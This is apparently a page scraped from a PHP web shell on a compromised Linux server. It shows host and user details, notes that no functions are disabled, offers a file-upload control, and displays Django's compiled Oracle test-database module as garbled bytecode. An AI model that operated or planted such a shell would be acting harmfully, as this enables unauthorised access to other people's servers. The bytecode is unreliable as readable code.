https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/db/backends/oracle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/db/backends/oracle/creation.pyc
�
r�\c@snddlZddlZddlmZddlmZddlmZdZdZ	defd��YZ
dS(	i����N(tsettings(tBaseDatabaseCreation(tinputttest_tIm_a_lumberjacktDatabaseCreationcBsXeZidd6dd6dd6dd6dd	6d
d6dd
6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd 6dd!6dd"6d#d$6dd%6dd&6Zd'�Zd(ed)�Zd(d*�Zd+�Zd,�Zd-�Z	d.�Z
d/�Zd0�Zd1�Z
d2�Zd3�Zd4�Zd5�Zd6�Zd7�Zd8�ZRS(9s
NUMBER(11)t	AutoFieldtBLOBtBinaryFields(NUMBER(1) CHECK (%(qn_column)s IN (0,1))tBooleanFieldsNVARCHAR2(%(max_length)s)t	CharFieldsVARCHAR2(%(max_length)s)tCommaSeparatedIntegerFieldtDATEt	DateFieldt	TIMESTAMPt
DateTimeFields*NUMBER(%(max_digits)s, %(decimal_places)s)tDecimalFieldt	FileFieldt
FilePathFieldsDOUBLE PRECISIONt
FloatFieldtIntegerFields
NUMBER(19)tBigIntegerFieldsVARCHAR2(15)tIPAddressFieldsVARCHAR2(39)tGenericIPAddressFieldsENUMBER(1) CHECK ((%(qn_column)s IN (0,1)) OR (%(qn_column)s IS NULL))tNullBooleanFieldt
OneToOneFields%NUMBER(11) CHECK (%(qn_column)s >= 0)tPositiveIntegerFieldtPositiveSmallIntegerFieldt	SlugFieldtSmallIntegerFieldtNCLOBt	TextFieldt	TimeFieldtURLFieldcCstt|�j|�dS(N(tsuperRt__init__(tselft
connection((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR#/sic
Cs[|j�}|j�}|j�}|j�}|j�}i|d6|d6|d6|d6|d6}|jj�}	|j�r�y|j|	||�Wq�t	k
r}
t
jjd|
�|s�t
d|�}n|s�|dkrjyH|d	kr	d
|jjGHn|j|	||�|j|	||�Wq|t	k
rf}
t
jjd|
�t
jd�q|Xq�d
GHt
jd	�q�Xn|j�r�|d	kr�dGHny|j|	||�Wq�t	k
r�}
t
jjd|
�|s�t
d|�}n|s|dkr�yR|d	kr"dGHn|j|	||�|d	krIdGHn|j|	||�Wq�t	k
r�}
t
jjd|
�t
jd�q�Xq�d
GHt
jd	�q�Xntj|jj}|jjd|d<|jjd<|jjd|d<|jjd<||d<|d<|jjd<|jjd<||d<|jjd<|jjdS(Ntdbnametusertpasswordttblspacet
tblspace_temps,Got an error creating the test database: %s
s^It appears the test database, %s, already exists. Type 'yes' to delete it, or 'no' to cancel: tyesis$Destroying old test database '%s'...s.Got an error recreating the test database: %s
isTests cancelled.sCreating test user...s(Got an error creating the test user: %s
sZIt appears the test user, %s, already exists. Type 'yes' to delete it, or 'no' to cancel: sDestroying old test user...s*Got an error recreating the test user: %s
tUSERt
SAVED_USERtPASSWORDtSAVED_PASSWORDt	TEST_USERtNAME(t_test_database_namet_test_database_usert_test_database_passwdt_test_database_tblspacet_test_database_tblspace_tmpR%tcursort_test_database_createt_execute_test_db_creationt	ExceptiontsyststderrtwriteRtaliast_execute_test_db_destructiontexitt_test_user_createt_create_test_usert_destroy_test_userRt	DATABASESt
settings_dict(
R$t	verbositytautoclobbert	TEST_NAMER0tTEST_PASSWDt
TEST_TBLSPACEtTEST_TBLSPACE_TMPt
parametersR7tetconfirmt
real_settings((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyt_create_test_db2st
"".c
Cs2|j�}|j�}|j�}|j�}|j�}|jjd|jjd<|jjd|jjd<i|d6|d6|d6|d6|d	6}|jj�}	tj	d
�|j
�r�|d
kr�dGHn|j|	||�n|j�r!|d
krdGHn|j
|	||�n|jj�d
S(s�
        Destroy a test database, prompting the user for confirmation if the
        database already exists. Returns the name of the test database created.
        R-R,R/R.R&R'R(R)R*isDestroying test user...s"Destroying test database tables...N(R2R3R4R5R6R%RER7ttimetsleepRARCR8R?tclose(
R$ttest_database_nameRFRHR0RIRJRKRLR7((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyt_destroy_test_dbvs0

cCsB|dkrd|dGHnddg}|j||||�dS(Nis_create_test_db(): dbname = %sR&s�CREATE TABLESPACE %(tblspace)s
               DATAFILE '%(tblspace)s.dbf' SIZE 20M
               REUSE AUTOEXTEND ON NEXT 10M MAXSIZE 200M
            s�CREATE TEMPORARY TABLESPACE %(tblspace_temp)s
               TEMPFILE '%(tblspace_temp)s.dbf' SIZE 20M
               REUSE AUTOEXTEND ON NEXT 10M MAXSIZE 100M
            (t_execute_statements(R$R7RLRFt
statements((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR9�s
	cCsB|dkrd|dGHnddg}|j||||�dS(Nis"_create_test_user(): username = %sR's�CREATE USER %(user)s
               IDENTIFIED BY %(password)s
               DEFAULT TABLESPACE %(tblspace)s
               TEMPORARY TABLESPACE %(tblspace_temp)s
               QUOTA UNLIMITED ON %(tblspace)s
            s#GRANT CONNECT, RESOURCE TO %(user)s(RV(R$R7RLRFRW((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyRB�s
	cCsB|dkrd|dGHnddg}|j||||�dS(Nis)_execute_test_db_destruction(): dbname=%sR&sQDROP TABLESPACE %(tblspace)s INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTSsVDROP TABLESPACE %(tblspace_temp)s INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTS(RV(R$R7RLRFRW((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR?�s
	cCsD|dkr!d|dGHdGHndg}|j||||�dS(Nis_destroy_test_user(): user=%sR's'Be patient.  This can take some time...sDROP USER %(user)s CASCADE(RV(R$R7RLRFRW((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyRC�s

	cCsqxj|D]b}||}|dkr+|GHny|j|�Wqtk
rh}tjjd|��qXqWdS(NisFailed (%s)
(texecuteR:R;R<R=(R$R7RWRLRFttemplatetstmtterr((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyRV�s

cCsSt|jjd}y'|jjdr:|jjd}nWntk
rNnX|S(NR1RH(tTEST_DATABASE_PREFIXR%REtAttributeError(R$tname((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR2�s
cCs|jjjdt�S(NtTEST_CREATE(R%REtgettTrue(R$((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR8�scCs|jjjdt�S(NtTEST_USER_CREATE(R%RER`Ra(R$((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyRA�scCsSt|jjd}y'|jjdr:|jjd}nWntk
rNnX|S(NR,R0(R\R%REtKeyError(R$R^((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR3�s
cCsEt}y'|jjdr,|jjd}nWntk
r@nX|S(NRI(R.R%RERc(R$R^((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR4�s
cCsSt|jjd}y'|jjdr:|jjd}nWntk
rNnX|S(NR1RJ(R\R%RERc(R$R^((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR5�s
cCsWt|jjdd}y'|jjdr>|jjd}nWntk
rRnX|S(NR1t_tempRK(R\R%RERc(R$R^((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyR6�s
cCs|jjdS(s�
        We need to return the 'production' DB name to get the test DB creation
        machinery to work. This isn't a great deal in this case because DB
        names as handled by Django haven't real counterparts in Oracle.
        R1(R%RE(R$((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyt_get_test_db_namescCs5|jj}|d|d|d|d|j�fS(NtHOSTtPORTtENGINER1(R%RER3(R$RE((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyttest_db_signature
s(t__name__t
__module__t
data_typesR#tFalseRPRUR9RBR?RCRVR2R8RAR3R4R5R6ReRi(((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyRsT	
	D"																				(R;RQtdjango.confRtdjango.db.backends.creationRtdjango.utils.six.movesRR\R.R(((sD/tmp/pip-install-XxeQeY/django/django/db/backends/oracle/creation.pyt<module>s

https://t.me/AnonymousX5 - 2025